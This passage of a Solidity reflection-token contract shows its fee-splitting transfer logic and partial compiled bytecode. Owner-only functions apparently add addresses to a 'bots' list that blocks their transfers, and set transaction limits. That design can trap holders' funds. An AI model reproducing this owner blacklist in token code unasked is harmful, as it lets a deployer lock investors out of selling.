bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600981526020017f546f6d626f792047460000000000000000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f544f4d424f59efb88f0000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff0219169083151502179055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115d057600080fd5b505af11580156115e4573d6000803e3d6000fd5b505050506040513d60208110156115fa57600080fd5b81019080805190602001909291905050505050565b611617611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161174d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61177c606461176e83683635c9adc5dea000006127cc90919063ffffffff16565b61285290919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613da76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611959576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cee6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611aca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d826025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613ca16023913960400191505060405180910390fd5b60008111611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d596029913960400191505060405180910390fd5b611bb1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c1f5750611bef610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121e057601360179054906101000a900460ff1615611e85573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611cfb5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d555750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e8457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611d9b611845565b73ffffffffffffffffffffffffffffffffffffffff161480611e115750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611df9611845565b73ffffffffffffffffffffffffffffffffffffffff16145b611e83576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f7557601454811115611ec757600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f6b5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f7457600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120205750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120765750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561208e5750601360179054906101000a900460ff165b156121265742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120de57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061213130610ae2565b9050601360159054906101000a900460ff1615801561219e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121b65750601360169054906101000a900460ff165b156121de576121c4816124e2565b600047905060008111156121dc576121db47612363565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122875750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229157600090505b61229d8484848461289c565b50505050565b6000838311158290612350576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156123155780820151818401526020810190506122fa565b50505050905090810190601f1680156123425780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6123b360028461285290919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123de573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61242f60028461285290919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561245a573d6000803e3d6000fd5b5050565b6000600a548211156124bb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613cc4602a913960400191505060405180910390fd5b60006124c5612af3565b90506124da818461285290919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff8111801561251757600080fd5b506040519080825280602002602001820160405280156125465781602001602082028036833780820191505090505b509050308160008151811061255757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125f957600080fd5b505afa15801561260d573d6000803e3d6000fd5b505050506040513d602081101561262357600080fd5b81019080805190602001909291905050508160018151811061264157fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126a830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461184d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561276c578082015181840152602081019050612751565b505050509050019650505050505050600060405180830381600087803b15801561279557600080fd5b505af11580156127a9573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127df576000905061284c565b60008284029050828482816127f057fe5b0414612847576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613d106021913960400191505060405180910390fd5b809150505b92915050565b600061289483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b1e565b905092915050565b806128aa576128a9612be4565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561294d5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9ad